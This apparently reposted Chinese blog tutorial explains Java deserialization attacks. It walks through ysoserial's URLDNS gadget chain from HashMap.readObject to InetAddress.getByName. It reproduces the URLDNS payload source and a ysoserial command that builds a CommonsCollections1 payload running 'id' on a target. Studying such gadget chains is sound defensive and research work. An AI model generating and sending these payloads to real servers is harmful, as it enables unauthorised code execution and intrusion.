java安全(六)java反序列化2

admin 2022年4月23日01:51:48评论64 views字数 5214阅读17分22秒阅读模式

java反序列化2,ysoserial调试:URLDNS


个人博客地址:

https://blog.csdn.net/weixin_45694388?spm={%22spm%22:%221011.2266%22}.3001.5343


目录:

ysoserial

URLDNS利用

利⽤链分析




01



ysoserial




下载地址:https://github.com/angelwhu/ysoserial


ysoserial可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令。

什么是利⽤链?


利⽤链也叫“gadget chains”,我们通常称为gadget。如果你学过PHP反序列化漏洞,那么就可以将gadget理解为⼀种⽅法,它连接的是从触发位置开始到执⾏命令的位置结束,在PHP⾥可能是 __desctruct 到 eval ;如果你没学过其他语⾔的反序列化漏洞,那么gadget就是⼀种⽣成POC的⽅法罢了。

ysoserial的使⽤也很简单,虽然我们暂时先不理解 CommonsCollections ,但是⽤ysoserial可以很容易地⽣成这个gadget对应的POC:

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"


如上,ysoserial⼤部分的gadget的参数就是⼀条命令,⽐如这⾥是 id 。⽣成好的POC发送给⽬标,如果⽬标存在反序列化漏洞,并满⾜这个gadget对应的条件,则命令 id 将被执⾏




02


                   URLDNS利用链



URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不
是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。

虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时
使⽤:

使⽤Java内置的类构造,对第三⽅库没有依赖
在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
ysoserial是如何⽣成 URLDNS 的代码的:
github地址https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht; }
public static void main(final String[] args) throws Exception { PayloadRunner.run(URLDNS.class, args); }
/** * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior * using the serialized object.</p> * * <b>Potential false negative:</b> * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the * second resolution.</p> */ static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException { return null; }
protected synchronized InetAddress getHostAddress(URL u) { return null; } }}





03


                                利⽤链分析

看到 URLDNS 类的 getObject ⽅法,ysoserial会调⽤这个⽅法获得Payload。这个⽅法返回的是⼀个对
象,这个对象就是最后将被序列化的对象,在这⾥是 HashMap 。

我们前⾯说了,触发反序列化的⽅法是 readObject ,因为Java开发者(包括Java内置库的开发者)经
常会在这⾥⾯写⾃⼰的逻辑,所以导致可以构造利⽤链。

那么,我们可以直奔 HashMap 类的 readObject ⽅法

    private void readObject(java.io.ObjectInputStream s)        throws IOException, ClassNotFoundException {        // Read in the threshold (ignored), loadfactor, and any hidden stuff        s.defaultReadObject();        reinitialize();        if (loadFactor <= 0 || Float.isNaN(loadFactor))            throw new InvalidObjectException("Illegal load factor: " +                                             loadFactor);        s.readInt();                // Read and ignore number of buckets        int mappings = s.readInt(); // Read number of mappings (size)        if (mappings < 0)            throw new InvalidObjectException("Illegal mappings count: " +                                             mappings);        else if (mappings > 0) { // (if zero, use defaults)            // Size the table using given load factor only if within            // range of 0.25...4.0            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);            float fc = (float)mappings / lf + 1.0f;            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?                       DEFAULT_INITIAL_CAPACITY :                       (fc >= MAXIMUM_CAPACITY) ?                       MAXIMUM_CAPACITY :                       tableSizeFor((int)fc));            float ft = (float)cap * lf;            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?                         (int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to // what we're actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab;
// Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }


在倒数第四行:

putVal(hash(key), key, value, false, false);


可以看到将 HashMap 的键名计算了hash

在此处下断点,对这个 hash 函数进⾏调试并跟进,这是调⽤栈:

原因:在没有分析过的情况下,我为何会关注hash函数?因为ysoserial的注释中很明确地说明
了“During the put above, the URL’s hashCode is calculated and cached. This resets that so
the next time hashCode is called a DNS lookup will be triggered.”,是hashCode的计算操作触
发了DNS请求。


java安全(六)java反序列化2

hash ⽅法调⽤了key的 hashCode() ⽅法:


static final int hash(Object key) {   int h;   return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }


URLDNS 中使⽤的这个key是⼀个 java.net.URL 对象,我们看看其 hashCode ⽅法:


java安全(六)java反序列化2




此时, handler 是 URLStreamHandler 对象(的某个⼦类对象),继续跟进其 hashCode ⽅法:


java安全(六)java反序列化2




这⾥有调⽤ getHostAddress ⽅法,继续跟进:

java安全(六)java反序列化2




这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次
DNS查询。到这⾥就不必要再跟了。

我们⽤⼀些第三⽅的反连平台就可以查看到这次请求,证明的确存在反序列化漏洞:


java安全(六)java反序列化2



taborator原理:
点击“Create payload&copy”并生成一个唯一的URL,我可以在需要有效载荷的任何地方使用它。
如果有任何人看到这个URL并访问它,我会在Burp Suite collaborator客户端收到一条通知。

所以,⾄此,整个 URLDNS 的Gadget其实清晰⼜简单:

1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()



从反序列化最开始的 readObject ,到最后触发DNS请求的 getByName ,只经过了6个函数调⽤,这在
Java中其实已经算很少了。

要构造这个Gadget,只需要初始化⼀个 java.net.URL 对象,作为 key 放在 java.util.HashMap
中;然后,设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时将会重新计算
其 hashCode ,才能触发到后⾯的DNS请求,否则不会调⽤ URL->hashCode() 。

另外,ysoserial为了防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询,所以重写了⼀
个 SilentURLStreamHandler 类,这不是必须的。



原文始发于微信公众号(b1gpig信息安全):java安全(六)java反序列化2

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日01:51:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   java安全(六)java反序列化2http://cn-sec.com/archives/934062.html

发表评论

匿名网友 填写信息